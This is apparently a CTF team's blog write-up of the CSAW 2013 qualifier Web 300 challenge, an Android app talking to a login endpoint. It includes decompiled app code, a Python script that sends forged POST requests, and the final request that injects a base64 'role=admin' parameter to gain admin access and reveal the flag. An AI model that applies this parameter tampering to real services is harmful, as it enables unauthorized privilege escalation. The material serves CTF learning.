Tuesday, September 24, 2013

CSAW CTF Quals - Web 300: herpderper.apk

For web 300 we were given an android application .apk file. After installing the application to an android phone and running it, we saw that it communicated with a remote location to determine if the login credentials were valid.

After decompiling the .apk file and looking through the source code, we found that the application contacted the website: https://webchal.isis.poly.edu/csaw.php. Visiting this site in a web browser returned no interesting results, other than the indication that we should visit the site using the mobile application.

This lead us in the direction of finding the request sent to the page from the application. viewing the doInBackground() method provided the existence of three vars that were base64 encoded then sent across to the website. The source of this method looks like this:

protected doInBackground(String[] uri) {
    v14 = android.os.Debug.isDebuggerConnected();
    if (!v14) {
        short v14 = 0x539;
        v14 = v14 / 0;
    } else {
        java.net.URL v11 = 0;
        try {
            v14 = 0;
            v14 = uri[v14];
            v12 = new java.net.URL(v14);
        } catch (java.net.MalformedURLException) {
        }
        v11 = v12;
        java.net.HttpURLConnection v13 = 0;
        try {
            v14 = v11.openConnection();
            v0 = v14;
            assert v0 instanceof java.net.HttpURLConnection;
            v13 = v0;
            v14 = 1;
            v13.setDoOutput(v14);
            v14 = "POST";
            v13.setRequestMethod(v14);
            ops.black.herpderper.TrustModifier.relaxHostChecking(v13);
            v5 = v13.getOutputStream();
            v14 = 1;
            v14 = uri[v14];
            v15 = "UTF-8";
            v14 = v14.getBytes(v15);
            v15 = 0;
            String v2 = android.util.Base64.encodeToString(v14, v15);
            v14 = 2;
            v14 = uri[v14];
            v15 = "UTF-8";
            v14 = v14.getBytes(v15);
            v15 = 0;
            String v8 = android.util.Base64.encodeToString(v14, v15);
            v14 = "\n";
            v15 = "";
            v14 = v2.replace(v14, v15);
            v15 = "\r";
            v16 = "";
            v2 = v14.replace(v15, v16);
            v14 = "\n";
            v15 = "";
            v4 = v8.replace(v14, v15);
            v15 = "\r";
            v16 = "";
            v8 = v14.replace(v15, v16);
            v14 = new StringBuilder();
            v15 = "identity=";
            v14 = v14.append(v15);
            v14 = v14.append(v2);
            v15 = "&secret=";
            v14 = v14.append(v15);
            v14 = v14.append(v8);
            v15 = "&integrityid=";
            v14 = v14.append(v15);
            v15 = 3;
            v15 = uri[v15];
            v14 = v14.append(v15);
            v9 = v14.toString();
            v14 = v9.getBytes();
            v5.write(v14);
            v5.close();
            v13.connect();
        } catch (Exception) {
        }
        v0 = p0;
        v7 = v0;
        try {
            v14 = v13.getInputStream();
            v3 = new BufferedInputStream(v14);
            v14 = new java.io.InputStreamReader(v3);
            v6 = new BufferedReader(v14);
            v10 = new java.lang.StringBuilder();
            while (true) {
                v4 = v6.readLine();
                if (!v4 == 0) { // break? -> :cond_1
                    v10.append(v4);
                } else {
                    v7 = v10.toString();
                    v13.disconnect();
                    return v7;
                }
            }
        } catch (org.apache.http.client.ClientProtocolException v14) {
            v13.disconnect();
        } catch (java.lang.Exception) {
        }
    }
}

The three variables were identity, secret, and integrityid. Sending a GET request to the website without sending the correct "integrityid" variable resulted in a client integrity fault message from the page:

{"response":{"status":"failure","msg":"Client integrity fault"}}

Using burp suite to find the correct integrityid, we sent that across and got the response from the page. The challenge then became a matter of exploiting the website. We wrote a quick python script to execute the request:

import socket, gzip, base64

def main():

    identity='''admin'''
    secret='''password'''
    requestbefore='''identity=%s&role=YWRtaW4=&secret=%s&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9'''%(str(base64.b64encode(identity)), str(base64.b64encode(secret)))
    request2 = '''POST /csaw.php HTTP/1.1

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K)
Host: webchal.isis.poly.edu
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: %s
'''%str(len(requestbefore))

    request = request2 + requestbefore
    print request

    s = socket.socket()
    s.connect(('webchal.isis.poly.edu', 80))

    s.sendall(request)
    while(1):
        derp = s.recv(1024).strip()
        if(derp):
            break

    derp = derp.split('text/html')[1].strip()
    writefile = open('derp.txt.gz','wb')
    writefile.write(derp)
    writefile.close()

    f = gzip.open('derp.txt.gz', 'rb')
    file_content = f.read()
    print "\n\n" + file_content
    f.close()

if __name__ == "__main__":
    main()

The script would send a GET request to the website that looked like this:

POST /csaw.php HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K)
Host: webchal.isis.poly.edu
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: ###

identity=YWRtaW4=&secret=cGFzc3dvcmQ=&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9

Where ### was the length of the data sent below the Content-Length line. The website replied with the following response:

{"response":{"status":"failure","msg":"Login failed"},"timeStamp":"1379429423","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"anonymous","accessToken":"YWRtaW46YW5vbnltb3VzOndlYmNoYWwuaXNpcy5wb2x5LmVkdQ=="}}

After fiddling with various login names and passwords, we ran out of time in the competition. The final step of the challenge was to modify the request to include the variable "role", where role=admin in base64. In essence, the final request would look like this:

identity=YWRtaW4=&role=YWRtaW4=&secret=cGFzc3dvcmQ=&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9
Where the variable "role" is simply inserted into the request. This would have returned the following response:

{"response":{"status":"success","msg":"Key: Yo dawg I heard you leik to derp so i put a herp in your derp so you could herpderp while you derpderp"},"timeStamp":"1379429491","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"admin","accessToken":"YWRtaW46YWRtaW46d2ViY2hhbC5pc2lzLnBvbHkuZWR1"}}
lilniqy, Hawkeye, albinotomato

No comments:

Post a Comment